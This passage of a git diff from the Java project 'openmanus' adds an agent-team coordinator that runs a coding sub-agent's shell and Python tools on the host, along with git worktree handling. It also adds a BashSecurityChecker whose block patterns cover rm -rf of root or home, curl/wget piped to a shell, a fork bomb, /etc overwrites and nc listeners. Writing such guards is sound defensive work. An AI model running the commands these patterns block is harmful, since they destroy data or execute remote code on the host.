+import com.openmanus.agent.tool.ShellTool;
+import com.openmanus.agent.tool.TaskReflectionTool;
+import com.openmanus.agentteam.application.AgentTeamRole;
+import com.openmanus.agentteam.application.AgentTeamPromptProvider;
+import com.openmanus.agentteam.application.AgentTeamToolPolicy;
+import com.openmanus.agentteam.application.PermissionLevel;
+import com.openmanus.agentteam.application.SubAgentToolPolicy;
+import com.openmanus.agentteam.application.TeamMasterToolPolicy;
+import com.openmanus.aiframework.runtime.AiChatModel;
+import com.openmanus.aiframework.runtime.AiMemoryProvider;
+import com.openmanus.aiframework.runtime.AiSessionSandboxGateway;
+import com.openmanus.aiframework.tool.AiRegisteredTool;
+import com.openmanus.aiframework.tool.AiToolRegistry;
+import com.openmanus.domain.service.ExecutionEventPort;
+import com.openmanus.infra.config.LocalAgentToolRegistry;
+import com.openmanus.infra.config.OpenManusProperties;
+import com.openmanus.sandbox.support.SandboxPathResolver;
+import lombok.extern.slf4j.Slf4j;
+
+import java.util.List;
+import java.util.Objects;
+
+/**
+ * Builds role-scoped coordinators for the agentteam module.
+ *
+ * For {@link AgentTeamRole#CODING_SUB_AGENT}, tools execute on the Host OS
+ * (no Docker sandbox) so the AI can access git worktrees created by the orchestrator.
+ */
+@Slf4j
+public class AgentTeamCoordinatorFactory {
+
+ private final AiChatModel aiChatModel;
+ private final AiMemoryProvider aiMemoryProvider;
+ private final AiSessionSandboxGateway sessionSandboxGateway;
+ private final AiSessionSandboxGateway hostModeExecutionGateway;
+ private final OpenManusProperties properties;
+ private final ExecutionEventPort executionEventPort;
+ private final LocalAgentToolRegistry localAgentToolRegistry;
+ private final AgentTeamPromptProvider promptProvider;
+ private final TeamMasterToolPolicy teamMasterToolPolicy;
+ private final SubAgentToolPolicy subAgentToolPolicy;
+
+ public AgentTeamCoordinatorFactory(
+ AiChatModel aiChatModel,
+ AiMemoryProvider aiMemoryProvider,
+ AiSessionSandboxGateway sessionSandboxGateway,
+ AiSessionSandboxGateway hostModeExecutionGateway,
+ OpenManusProperties properties,
+ ExecutionEventPort executionEventPort,
+ LocalAgentToolRegistry localAgentToolRegistry,
+ AgentTeamPromptProvider promptProvider,
+ TeamMasterToolPolicy teamMasterToolPolicy,
+ SubAgentToolPolicy subAgentToolPolicy
+ ) {
+ this.aiChatModel = Objects.requireNonNull(aiChatModel, "aiChatModel");
+ this.aiMemoryProvider = Objects.requireNonNull(aiMemoryProvider, "aiMemoryProvider");
+ this.sessionSandboxGateway = Objects.requireNonNull(sessionSandboxGateway, "sessionSandboxGateway");
+ this.hostModeExecutionGateway = Objects.requireNonNull(hostModeExecutionGateway, "hostModeExecutionGateway");
+ this.properties = Objects.requireNonNull(properties, "properties");
+ this.executionEventPort = executionEventPort;
+ this.localAgentToolRegistry = Objects.requireNonNull(localAgentToolRegistry, "localAgentToolRegistry");
+ this.promptProvider = Objects.requireNonNull(promptProvider, "promptProvider");
+ this.teamMasterToolPolicy = Objects.requireNonNull(teamMasterToolPolicy, "teamMasterToolPolicy");
+ this.subAgentToolPolicy = Objects.requireNonNull(subAgentToolPolicy, "subAgentToolPolicy");
+ }
+
+ public AgentCoordinator create(AgentTeamRole role) {
+ boolean isCodingSubAgent = role == AgentTeamRole.CODING_SUB_AGENT;
+ PermissionLevel permissionLevel = role.permissionLevel();
+ AiSessionSandboxGateway effectiveGateway = isCodingSubAgent
+ ? hostModeExecutionGateway
+ : sessionSandboxGateway;
+
+ // Security: HostModeExecutionGateway already has BashSecurityChecker wired in.
+ // For RESTRICTED roles, shell commands pass through BashSecurityChecker before reaching Host OS.
+ // For FULL / SANDBOXED roles, Docker sandbox provides physical isolation — no extra checks needed.
+ if (permissionLevel == PermissionLevel.RESTRICTED && !isCodingSubAgent) {
+ log.warn("AgentTeamCoordinatorFactory: RESTRICTED permission level but not CODING_SUB_AGENT — "
+ + "this may indicate a misconfiguration: role={}", role);
+ }
+
+ AgentCoordinator.Builder builder = AgentCoordinator.builder()
+ .aiChatModel(aiChatModel)
+ .aiMemoryProvider(aiMemoryProvider)
+ .sessionSandboxGateway(effectiveGateway)
+ .maxIterations(properties.getChatMemory().getReactMaxIterations())
+ .maxExecutionSeconds(properties.getChatMemory().getReactMaxExecutionSeconds())
+ .repeatedToolCallThreshold(properties.getChatMemory().getReactRepeatedToolCallThreshold())
+ .taskStatePlanMaxChars(properties.getChatMemory().getTaskStatePlanMaxChars())
+ .taskStateInProgressMaxChars(properties.getChatMemory().getTaskStateInProgressMaxChars())
+ .taskStateLastFailureMaxChars(properties.getChatMemory().getTaskStateLastFailureMaxChars())
+ .taskStateTodoMaxItems(properties.getChatMemory().getTaskStateTodoMaxItems())
+ .taskStateTodoItemMaxChars(properties.getChatMemory().getTaskStateTodoItemMaxChars())
+ .enableToolResultBudget(properties.getChatMemory().isToolResultBudgetEnabled())
+ .toolResultBudgetMinChars(properties.getChatMemory().getToolResultBudgetMinChars())
+ .toolResultBudgetPreviewHeadChars(properties.getChatMemory().getToolResultBudgetPreviewHeadChars())
+ .toolResultBudgetPreviewTailChars(properties.getChatMemory().getToolResultBudgetPreviewTailChars())
+ .toolResultBudgetDecayChars(properties.getChatMemory().getToolResultBudgetDecayChars())
+ .executionEventPort(executionEventPort)
+ .name("agentteam_" + role.name().toLowerCase())
+ .description("Role-scoped executor for agentteam role " + role.name().toLowerCase())
+ .singleParameter("Role-scoped request")
+ .systemMessage(systemPromptFor(role));
+
+ if (isCodingSubAgent) {
+ attachHostModeTools(builder);
+ } else {
+ for (AiRegisteredTool tool : toolsFor(role)) {
+ builder.tool(tool);
+ }
+ }
+ AgentCoordinator coordinator = builder.build();
+ log.info(
+ "AgentTeam coordinator created: role={}, permissionLevel={}, name={}, mode={}",
+ role,
+ permissionLevel,
+ "agentteam_" + role.name().toLowerCase(),
+ isCodingSubAgent ? "HOST" : "SANDBOX"
+ );
+ return coordinator;
+ }
+
+ private void attachHostModeTools(AgentCoordinator.Builder builder) {
+ SandboxPathResolver hostPathResolver = new SandboxPathResolver(hostModeExecutionGateway);
+ HostCodeSandbox hostCodeSandbox = new HostCodeSandbox();
+
+ if (properties.getChatMemory().isShellToolEnabled()) {
+ ShellTool hostShellTool = new ShellTool(
+ hostModeExecutionGateway,
+ hostPathResolver,
+ true,
+ properties.getChatMemory().getShellToolTimeoutSeconds()
+ );
+ for (AiRegisteredTool tool : AiToolRegistry.scan(hostShellTool)) {
+ builder.tool(tool);
+ }
+ }
+
+ PythonExecutionTool hostPythonTool = new PythonExecutionTool(hostCodeSandbox, hostPathResolver);
+ for (AiRegisteredTool tool : AiToolRegistry.scan(hostPythonTool)) {
+ builder.tool(tool);
+ }
+
+ List allTools = localAgentToolRegistry.allLocalTools();
+ List nonExecTools = subAgentToolPolicy.selectTools(allTools).stream()
+ .filter(tool -> !isExecTool(tool.name()))
+ .toList();
+ for (AiRegisteredTool tool : nonExecTools) {
+ builder.tool(tool);
+ }
+ }
+
+ private boolean isExecTool(String name) {
+ return "runShellCommand".equals(name)
+ || "executePython".equals(name)
+ || "executePythonFile".equals(name);
+ }
+
+ private String systemPromptFor(AgentTeamRole role) {
+ return switch (role) {
+ case TEAM_MASTER -> promptProvider.teamMasterSystemPromptTemplate();
+ case SUB_AGENT -> promptProvider.subAgentSystemPromptTemplate();
+ case CODING_SUB_AGENT -> promptProvider.subAgentSystemPromptTemplate();
+ };
+ }
+
+ private List toolsFor(AgentTeamRole role) {
+ List defaultTools = localAgentToolRegistry.allLocalTools();
+ AgentTeamToolPolicy policy = switch (role) {
+ case TEAM_MASTER -> teamMasterToolPolicy;
+ case SUB_AGENT -> subAgentToolPolicy;
+ case CODING_SUB_AGENT -> subAgentToolPolicy;
+ };
+ return policy.selectTools(defaultTools);
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/BashSecurityCheckResult.java b/src/main/java/com/openmanus/agentteam/infra/BashSecurityCheckResult.java
new file mode 100644
index 0000000..81a4884
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/BashSecurityCheckResult.java
@@ -0,0 +1,19 @@
+package com.openmanus.agentteam.infra;
+
+/**
+ * Result of a bash security check.
+ *
+ * @param allowed whether the command is allowed to execute
+ * @param reason human-readable reason for the decision (shown to AI so it can adapt)
+ * @param rule the name of the rule that matched, or "DEFAULT" if no rule matched
+ */
+public record BashSecurityCheckResult(boolean allowed, String reason, String rule) {
+
+ public static BashSecurityCheckResult allow() {
+ return new BashSecurityCheckResult(true, "命令通过安全检查", "DEFAULT");
+ }
+
+ public static BashSecurityCheckResult deny(String reason, String rule) {
+ return new BashSecurityCheckResult(false, reason, rule);
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/BashSecurityChecker.java b/src/main/java/com/openmanus/agentteam/infra/BashSecurityChecker.java
new file mode 100644
index 0000000..337230d
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/BashSecurityChecker.java
@@ -0,0 +1,237 @@
+package com.openmanus.agentteam.infra;
+
+import com.openmanus.infra.config.AgentTeamProperties;
+import lombok.extern.slf4j.Slf4j;
+
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import java.util.regex.Pattern;
+
+/**
+ * Hardcoded dangerous-command detector for CODING_SUB_AGENT host-mode execution.
+ *
+ * Design:
+ *
+ * - HARD_BLOCK patterns (regex) — these are NEVER allowed, even if config would permit them.
+ * - Configurable DENY_LIST prefixes — loaded from {@link AgentTeamProperties.SecurityConfig#denyCommands}.
+ * - Configurable ALLOW_LIST prefixes — loaded from {@link AgentTeamProperties.SecurityConfig#allowCommands};
+ * these bypass the DENY_LIST check but not HARD_BLOCK.
+ * - File path boundary check — commands must not reference paths outside the worktree
+ * or configured allowed-paths.
+ *
+ *
+ * Thread-safety: stateless — all patterns are pre-compiled at construction time.
+ */
+@Slf4j
+public class BashSecurityChecker {
+
+ private final boolean enabled;
+ private final int maxCommandLength;
+ private final List denyPrefixes;
+ private final List allowPrefixes;
+ private final List allowedPaths;
+
+ /**
+ * Hard-block patterns — these commands are dangerous under any circumstances.
+ * Ordered by severity. Each entry has a pattern and a human-readable rule name.
+ */
+ private static final Map HARD_BLOCK_PATTERNS = new LinkedHashMap<>();
+
+ static {
+ // Recursive force delete of root / home
+ HARD_BLOCK_PATTERNS.put(
+ Pattern.compile("\\brm\\s+(-[a-zA-Z]*[rRf][a-zA-Z]*\\s+)*(-[a-zA-Z]*[rRf][a-zA-Z]*\\s+)?[/~]"),
+ "HARD_BLOCK:rm-root");
+ HARD_BLOCK_PATTERNS.put(
+ Pattern.compile("\\brm\\s+(-[a-zA-Z]*[rRf][a-zA-Z]*\\s+)*(-[a-zA-Z]*[rRf][a-zA-Z]*\\s+)?/\\*"),
+ "HARD_BLOCK:rm-root-star");
+ HARD_BLOCK_PATTERNS.put(
+ Pattern.compile("\\brm\\s+(-[a-zA-Z]*[rRf][a-zA-Z]*\\s+)*-rf\\s+~"),
+ "HARD_BLOCK:rm-home");
+
+ // curl / wget piped to shell
+ HARD_BLOCK_PATTERNS.put(
+ Pattern.compile("\\b(curl|wget)\\b.*\\|\\s*(ba)?sh\\b"),
+ "HARD_BLOCK:curl-pipe-shell");
+ HARD_BLOCK_PATTERNS.put(
+ Pattern.compile("\\b(curl|wget)\\b.*\\|\\s*(ba)?sh\\b"),
+ "HARD_BLOCK:wget-pipe-shell");
+
+ // chmod 777 on root / recursive
+ HARD_BLOCK_PATTERNS.put(
+ Pattern.compile("\\bchmod\\s+(-[a-zA-Z]*[Rr][a-zA-Z]*\\s+)?777\\b"),
+ "HARD_BLOCK:chmod-777");
+
+ // Direct disk writes
+ HARD_BLOCK_PATTERNS.put(
+ Pattern.compile("\\bdd\\s+if="),
+ "HARD_BLOCK:dd-if");
+
+ // Fork bomb
+ HARD_BLOCK_PATTERNS.put(
+ Pattern.compile(":\\(\\)\\s*\\{\\s*:\\s*\\|\\s*:&\\s*\\}\\s*;\\s*:"),
+ "HARD_BLOCK:fork-bomb");
+
+ // eval / exec wrapping suspicious content
+ HARD_BLOCK_PATTERNS.put(
+ Pattern.compile("\\beval\\s+.*\\b(curl|wget|rm\\s+-rf|chmod\\s+777)\\b"),
+ "HARD_BLOCK:eval-dangerous");
+ HARD_BLOCK_PATTERNS.put(
+ Pattern.compile("\\bexec\\s+.*\\b(curl|wget|rm\\s+-rf|chmod\\s+777)\\b"),
+ "HARD_BLOCK:exec-dangerous");
+
+ // git push --force to protected branches
+ HARD_BLOCK_PATTERNS.put(
+ Pattern.compile("\\bgit\\s+push\\s+(-[a-zA-Z]*[fF][a-zA-Z]*\\s+)*origin\\s+(main|master)\\b"),
+ "HARD_BLOCK:git-force-push-main");
+ HARD_BLOCK_PATTERNS.put(
+ Pattern.compile("\\bgit\\s+push\\s+--force\\b"),
+ "HARD_BLOCK:git-force-push");
+
+ // Delete git branches forcefully
+ HARD_BLOCK_PATTERNS.put(
+ Pattern.compile("\\bgit\\s+branch\\s+-D\\s+(main|master)\\b"),
+ "HARD_BLOCK:git-branch-delete-main");
+
+ // Overwrite critical system files
+ HARD_BLOCK_PATTERNS.put(
+ Pattern.compile("\\b>(>)?\\s*/dev/sd[a-z]"),
+ "HARD_BLOCK:overwrite-dev");
+ HARD_BLOCK_PATTERNS.put(
+ Pattern.compile("\\b>(>)?\\s*/etc/"),
+ "HARD_BLOCK:overwrite-etc");
+
+ // Network listeners on privileged ports
+ HARD_BLOCK_PATTERNS.put(
+ Pattern.compile("\\bnc\\s+-[lL]"),
+ "HARD_BLOCK:nc-listener");
+ }
+
+ public BashSecurityChecker(AgentTeamProperties.SecurityConfig securityConfig) {
+ Objects.requireNonNull(securityConfig, "securityConfig must not be null");
+ this.enabled = securityConfig.isEnabled();
+ this.maxCommandLength = securityConfig.getMaxCommandLength() > 0
+ ? securityConfig.getMaxCommandLength()
+ : 4096;
+ this.denyPrefixes = List.copyOf(
+ securityConfig.getDenyCommands() == null ? List.of() : securityConfig.getDenyCommands());
+ this.allowPrefixes = List.copyOf(
+ securityConfig.getAllowCommands() == null ? List.of() : securityConfig.getAllowCommands());
+ this.allowedPaths = List.copyOf(
+ securityConfig.getAllowedPaths() == null ? List.of() : securityConfig.getAllowedPaths());
+ }
+
+ /**
+ * Convenience constructor for tests.
+ */
+ public BashSecurityChecker(boolean enabled, List denyCommands, List allowCommands) {
+ this.enabled = enabled;
+ this.maxCommandLength = 4096;
+ this.denyPrefixes = List.copyOf(denyCommands == null ? List.of() : denyCommands);
+ this.allowPrefixes = List.copyOf(allowCommands == null ? List.of() : allowCommands);
+ this.allowedPaths = List.of();
+ }
+
+ /**
+ * Check whether a bash command is safe to execute.
+ *
+ * @param command the shell command to check
+ * @param cwd the working directory for path-boundary checks (nullable)
+ * @param sessionId session identifier for logging (nullable)
+ * @return check result indicating allow/deny and reason
+ */
+ public BashSecurityCheckResult check(String command, String cwd, String sessionId) {
+ if (!enabled) {
+ return BashSecurityCheckResult.allow();
+ }
+
+ if (command == null || command.isBlank()) {
+ return BashSecurityCheckResult.deny("命令为空", "VALIDATION:empty-command");
+ }
+
+ if (command.length() > maxCommandLength) {
+ return BashSecurityCheckResult.deny(
+ "命令长度超过限制 (" + command.length() + " > " + maxCommandLength + ")",
+ "VALIDATION:command-too-long");
+ }
+
+ // --- Layer 1: Hard block patterns (always enforced) ---
+ for (Map.Entry entry : HARD_BLOCK_PATTERNS.entrySet()) {
+ if (entry.getKey().matcher(command).find()) {
+ String rule = entry.getValue();
+ String reason = "安全策略拒绝 (" + rule + "): 命令包含禁止的危险操作";
+ log.warn("BashSecurityChecker HARD_BLOCK sessionId={} rule={} command={}", sessionId, rule, command);
+ return BashSecurityCheckResult.deny(reason, rule);
+ }
+ }
+
+ // --- Layer 2: Configurable allow list (checked first — bypasses deny list) ---
+ for (String allowPrefix : allowPrefixes) {
+ if (command.startsWith(allowPrefix)) {
+ log.debug("BashSecurityChecker ALLOW sessionId={} prefix={} command={}", sessionId, allowPrefix, command);
+ return BashSecurityCheckResult.allow();
+ }
+ }
+
+ // --- Layer 3: Configurable deny list ---
+ for (String denyPrefix : denyPrefixes) {
+ if (command.startsWith(denyPrefix)) {
+ String rule = "DENY_LIST:" + denyPrefix;
+ String reason = "安全策略拒绝 (" + rule + "): 命令前缀在禁用列表中";
+ log.warn("BashSecurityChecker DENY_LIST sessionId={} prefix={} command={}", sessionId, denyPrefix, command);
+ return BashSecurityCheckResult.deny(reason, rule);
+ }
+ }
+
+ // --- Layer 4: Path boundary check ---
+ if (cwd != null && !cwd.isBlank()) {
+ BashSecurityCheckResult pathCheck = checkPathBoundary(command, cwd);
+ if (!pathCheck.allowed()) {
+ return pathCheck;
+ }
+ }
+
+ return BashSecurityCheckResult.allow();
+ }
+
+ /**
+ * Detect if the command references paths outside the worktree.
+ */
+ private BashSecurityCheckResult checkPathBoundary(String command, String cwd) {
+ Path worktreeRoot = Paths.get(cwd).toAbsolutePath().normalize();
+
+ // Extract candidate paths from the command (naive regex: space-delimited tokens that look like paths)
+ String[] tokens = command.split("\\s+");
+ for (String token : tokens) {
+ // Skip flags, options, and redirect operators
+ if (token.startsWith("-") || token.equals("|") || token.equals(">") || token.equals("<")
+ || token.equals(">>") || token.equals("&&") || token.equals("||") || token.equals(";")) {
+ continue;
+ }
+ // Check for ../ path traversal
+ if (token.contains("../") || token.contains("..\\")) {
+ Path candidate = worktreeRoot.resolve(token).normalize();
+ if (!candidate.startsWith(worktreeRoot)) {
+ log.warn("BashSecurityChecker PATH_TRAVERSAL command={} token={} worktreeRoot={}",
+ command, token, worktreeRoot);
+ return BashSecurityCheckResult.deny(
+ "安全策略拒绝 (PATH_TRAVERSAL): 命令试图访问工作树之外的路径: " + token,
+ "PATH_TRAVERSAL:" + token);
+ }
+ }
+ }
+ return BashSecurityCheckResult.allow();
+ }
+
+ public boolean isEnabled() {
+ return enabled;
+ }
+
+ public int maxCommandLength() {
+ return maxCommandLength;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/ClasspathAgentTeamPromptProvider.java b/src/main/java/com/openmanus/agentteam/infra/ClasspathAgentTeamPromptProvider.java
new file mode 100644
index 0000000..554d245
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/ClasspathAgentTeamPromptProvider.java
@@ -0,0 +1,58 @@
+package com.openmanus.agentteam.infra;
+
+import com.openmanus.agentteam.application.AgentTeamPromptProvider;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.charset.StandardCharsets;
+import java.util.Map;
+import java.util.concurrent.ConcurrentHashMap;
+
+/**
+ * Loads agentteam prompt templates from classpath resources.
+ */
+public class ClasspathAgentTeamPromptProvider implements AgentTeamPromptProvider {
+
+ private static final String TASK_DECOMPOSITION_TEMPLATE = "prompts/agentteam/task-decomposition.prompt.md";
+ private static final String TEAM_MASTER_SYSTEM_TEMPLATE = "prompts/agentteam/team-master-system.prompt.md";
+ private static final String SUB_AGENT_SYSTEM_TEMPLATE = "prompts/agentteam/subagent-system.prompt.md";
+ private static final String SUB_AGENT_EXECUTION_TEMPLATE = "prompts/agentteam/subagent-execution.prompt.md";
+
+ private final Map cache = new ConcurrentHashMap<>();
+
+ @Override
+ public String taskDecompositionPromptTemplate() {
+ return load(TASK_DECOMPOSITION_TEMPLATE);
+ }
+
+ @Override
+ public String teamMasterSystemPromptTemplate() {
+ return load(TEAM_MASTER_SYSTEM_TEMPLATE);
+ }
+
+ @Override
+ public String subAgentSystemPromptTemplate() {
+ return load(SUB_AGENT_SYSTEM_TEMPLATE);
+ }
+
+ @Override
+ public String subAgentExecutionPromptTemplate() {
+ return load(SUB_AGENT_EXECUTION_TEMPLATE);
+ }
+
+ private String load(String path) {
+ return cache.computeIfAbsent(path, this::readClasspathResource);
+ }
+
+ private String readClasspathResource(String path) {
+ ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+ try (InputStream stream = classLoader.getResourceAsStream(path)) {
+ if (stream == null) {
+ throw new IllegalStateException("Prompt template not found: " + path);
+ }
+ return new String(stream.readAllBytes(), StandardCharsets.UTF_8);
+ } catch (IOException exception) {
+ throw new IllegalStateException("Failed to load prompt template: " + path, exception);
+ }
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/GitCommandResult.java b/src/main/java/com/openmanus/agentteam/infra/GitCommandResult.java
new file mode 100644
index 0000000..c5b3228
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/GitCommandResult.java
@@ -0,0 +1,8 @@
+package com.openmanus.agentteam.infra;
+
+record GitCommandResult(int exitCode, String stdout, String stderr) {
+
+ boolean isSuccess() {
+ return exitCode == 0;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/GitCommandRunner.java b/src/main/java/com/openmanus/agentteam/infra/GitCommandRunner.java
new file mode 100644
index 0000000..38cb86d
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/GitCommandRunner.java
@@ -0,0 +1,9 @@
+package com.openmanus.agentteam.infra;
+
+import java.nio.file.Path;
+import java.util.List;
+
+interface GitCommandRunner {
+
+ GitCommandResult run(Path workingDirectory, List command);
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/GitWorktreeProvisioningException.java b/src/main/java/com/openmanus/agentteam/infra/GitWorktreeProvisioningException.java
new file mode 100644
index 0000000..a131089
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/GitWorktreeProvisioningException.java
@@ -0,0 +1,15 @@
+package com.openmanus.agentteam.infra;
+
+/**
+ * Signals a local Git worktree provisioning failure.
+ */
+public class GitWorktreeProvisioningException extends RuntimeException {
+
+ public GitWorktreeProvisioningException(String message) {
+ super(message);
+ }
+
+ public GitWorktreeProvisioningException(String message, Throwable cause) {
+ super(message, cause);
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/GitWorktreeProvisioningService.java b/src/main/java/com/openmanus/agentteam/infra/GitWorktreeProvisioningService.java
new file mode 100644
index 0000000..a8942cc
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/GitWorktreeProvisioningService.java
@@ -0,0 +1,289 @@
+package com.openmanus.agentteam.infra;
+
+import com.openmanus.agentteam.domain.model.GitRepositoryRuntime;
+import com.openmanus.agentteam.domain.model.GitWorktreeInfo;
+import com.openmanus.agentteam.domain.port.GitWorktreeProvisioningPort;
+
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Local Git-based worktree provisioning adapter.
+ */
+public class GitWorktreeProvisioningService implements GitWorktreeProvisioningPort {
+
+ private final GitCommandRunner commandRunner;
+
+ public GitWorktreeProvisioningService() {
+ this(new ProcessGitCommandRunner());
+ }
+
+ GitWorktreeProvisioningService(GitCommandRunner commandRunner) {
+ this.commandRunner = commandRunner;
+ }
+
+ @Override
+ public GitRepositoryRuntime inspectRepository(Path repositoryPath) {
+ Path normalizedRepositoryPath = normalizeRepositoryPath(repositoryPath);
+ GitCommandResult version = safeRun(null, List.of("git", "--version"));
+ if (!version.isSuccess()) {
+ return new GitRepositoryRuntime(
+ false,
+ false,
+ blankToNull(version.stdout()),
+ null,
+ null,
+ null,
+ false,
+ "git command is not available: " + firstNonBlankLine(version.stderr(), version.stdout())
+ );
+ }
+
+ GitCommandResult insideWorkTree = safeRun(normalizedRepositoryPath, List.of("git", "rev-parse", "--is-inside-work-tree"));
+ if (!insideWorkTree.isSuccess() || !"true".equalsIgnoreCase(insideWorkTree.stdout().trim())) {
+ return new GitRepositoryRuntime(
+ true,
+ false,
+ version.stdout().trim(),
+ null,
+ null,
+ null,
+ false,
+ "current path is not a git repository"
+ );
+ }
+
+ GitCommandResult topLevel = requireSuccess(
+ normalizedRepositoryPath,
+ List.of("git", "rev-parse", "--show-toplevel"),
+ "failed to resolve git repository root"
+ );
+ GitCommandResult branch = requireSuccess(
+ normalizedRepositoryPath,
+ List.of("git", "branch", "--show-current"),
+ "failed to resolve current git branch"
+ );
+ GitCommandResult head = requireSuccess(
+ normalizedRepositoryPath,
+ List.of("git", "rev-parse", "HEAD"),
+ "failed to resolve current git HEAD"
+ );
+ GitCommandResult status = requireSuccess(
+ normalizedRepositoryPath,
+ List.of("git", "status", "--short"),
+ "failed to inspect git working tree status"
+ );
+ return new GitRepositoryRuntime(
+ true,
+ true,
+ version.stdout().trim(),
+ topLevel.stdout().trim(),
+ blankToNull(branch.stdout()),
+ blankToNull(head.stdout()),
+ status.stdout().isBlank(),
+ null
+ );
+ }
+
+ @Override
+ public List listWorktrees(Path repositoryPath) {
+ Path normalizedRepositoryPath = normalizeRepositoryPath(repositoryPath);
+ assertGitRepository(normalizedRepositoryPath);
+ GitCommandResult result = requireSuccess(
+ normalizedRepositoryPath,
+ List.of("git", "worktree", "list", "--porcelain"),
+ "failed to list git worktrees"
+ );
+ return parseWorktreeList(result.stdout());
+ }
+
+ @Override
+ public GitWorktreeInfo createWorktree(Path repositoryPath, Path worktreePath, String branchName, String baseRef) {
+ Path normalizedRepositoryPath = normalizeRepositoryPath(repositoryPath);
+ assertGitRepository(normalizedRepositoryPath);
+ validateRequired(branchName, "branchName");
+ validateRequired(baseRef, "baseRef");
+ Path normalizedWorktreePath = normalizeWorktreePath(worktreePath);
+ ensureParentExists(normalizedWorktreePath);
+
+ requireSuccess(
+ normalizedRepositoryPath,
+ List.of(
+ "git",
+ "worktree",
+ "add",
+ normalizedWorktreePath.toString(),
+ "-b",
+ branchName.trim(),
+ baseRef.trim()
+ ),
+ "failed to create git worktree for branch " + branchName
+ );
+ return listWorktrees(normalizedRepositoryPath).stream()
+ .filter(worktree -> sameNormalizedPath(normalizedWorktreePath, worktree.path()))
+ .findFirst()
+ .orElseThrow(() -> new GitWorktreeProvisioningException(
+ "git worktree was created but not found in worktree list: " + normalizedWorktreePath
+ ));
+ }
+
+ @Override
+ public void removeWorktree(Path repositoryPath, Path worktreePath, boolean force) {
+ Path normalizedRepositoryPath = normalizeRepositoryPath(repositoryPath);
+ assertGitRepository(normalizedRepositoryPath);
+ Path normalizedWorktreePath = normalizeWorktreePath(worktreePath);
+
+ List command = new ArrayList<>();
+ command.add("git");
+ command.add("worktree");
+ command.add("remove");
+ command.add(normalizedWorktreePath.toString());
+ if (force) {
+ command.add("--force");
+ }
+ requireSuccess(
+ normalizedRepositoryPath,
+ command,
+ "failed to remove git worktree " + normalizedWorktreePath
+ );
+ }
+
+ private void assertGitRepository(Path repositoryPath) {
+ GitRepositoryRuntime runtime = inspectRepository(repositoryPath);
+ if (!runtime.supportsWorktreeOperations()) {
+ throw new GitWorktreeProvisioningException(
+ runtime.failureReason() == null ? "git worktree mode is not available" : runtime.failureReason()
+ );
+ }
+ }
+
+ private GitCommandResult safeRun(Path workingDirectory, List command) {
+ try {
+ return commandRunner.run(workingDirectory, command);
+ } catch (GitWorktreeProvisioningException exception) {
+ return new GitCommandResult(1, "", exception.getMessage());
+ }
+ }
+
+ private GitCommandResult requireSuccess(Path workingDirectory, List command, String failureMessage) {
+ GitCommandResult result = commandRunner.run(workingDirectory, command);
+ if (!result.isSuccess()) {
+ throw new GitWorktreeProvisioningException(
+ failureMessage + ": " + firstNonBlankLine(result.stderr(), result.stdout())
+ );
+ }
+ return result;
+ }
+
+ private List parseWorktreeList(String stdout) {
+ List worktrees = new ArrayList<>();
+ String currentPath = null;
+ String currentBranchRef = null;
+ String currentHead = null;
+ boolean detached = false;
+
+ for (String line : stdout.split("\\R")) {
+ if (line.isBlank()) {
+ if (currentPath != null) {
+ worktrees.add(new GitWorktreeInfo(currentPath, currentBranchRef, currentHead, detached));
+ }
+ currentPath = null;
+ currentBranchRef = null;
+ currentHead = null;
+ detached = false;
+ continue;
+ }
+ if (line.startsWith("worktree ")) {
+ currentPath = normalizeListedPath(line.substring("worktree ".length()).trim());
+ } else if (line.startsWith("HEAD ")) {
+ currentHead = line.substring("HEAD ".length()).trim();
+ } else if (line.startsWith("branch ")) {
+ currentBranchRef = line.substring("branch ".length()).trim();
+ } else if ("detached".equals(line.trim())) {
+ detached = true;
+ }
+ }
+ if (currentPath != null) {
+ worktrees.add(new GitWorktreeInfo(currentPath, currentBranchRef, currentHead, detached));
+ }
+ return worktrees;
+ }
+
+ private boolean sameNormalizedPath(Path normalizedPath, String listedPath) {
+ if (listedPath == null || listedPath.isBlank()) {
+ return false;
+ }
+ return normalizedPath.equals(Path.of(listedPath).toAbsolutePath().normalize());
+ }
+
+ private String normalizeListedPath(String path) {
+ if (path == null || path.isBlank()) {
+ return path;
+ }
+ return Path.of(path).toAbsolutePath().normalize().toString();
+ }
+
+ private void ensureParentExists(Path worktreePath) {
+ try {
+ Path parent = worktreePath.getParent();
+ if (parent != null) {
+ Files.createDirectories(parent);
+ }
+ } catch (Exception exception) {
+ throw new GitWorktreeProvisioningException(
+ "failed to prepare worktree parent directory: " + worktreePath,
+ exception
+ );
+ }
+ }
+
+ private Path normalizeRepositoryPath(Path repositoryPath) {
+ if (repositoryPath == null) {
+ throw new IllegalArgumentException("repositoryPath must not be null");
+ }
+ return repositoryPath.toAbsolutePath().normalize();
+ }
+
+ private Path normalizeWorktreePath(Path worktreePath) {
+ if (worktreePath == null) {
+ throw new IllegalArgumentException("worktreePath must not be null");
+ }
+ return worktreePath.toAbsolutePath().normalize();
+ }
+
+ private void validateRequired(String value, String fieldName) {
+ if (value == null || value.isBlank()) {
+ throw new IllegalArgumentException(fieldName + " must not be blank");
+ }
+ }
+
+ private String blankToNull(String value) {
+ if (value == null || value.isBlank()) {
+ return null;
+ }
+ return value.trim();
+ }
+
+ private String firstNonBlankLine(String primary, String fallback) {
+ String candidate = pickFirstNonBlankLine(primary);
+ if (candidate != null) {
+ return candidate;
+ }
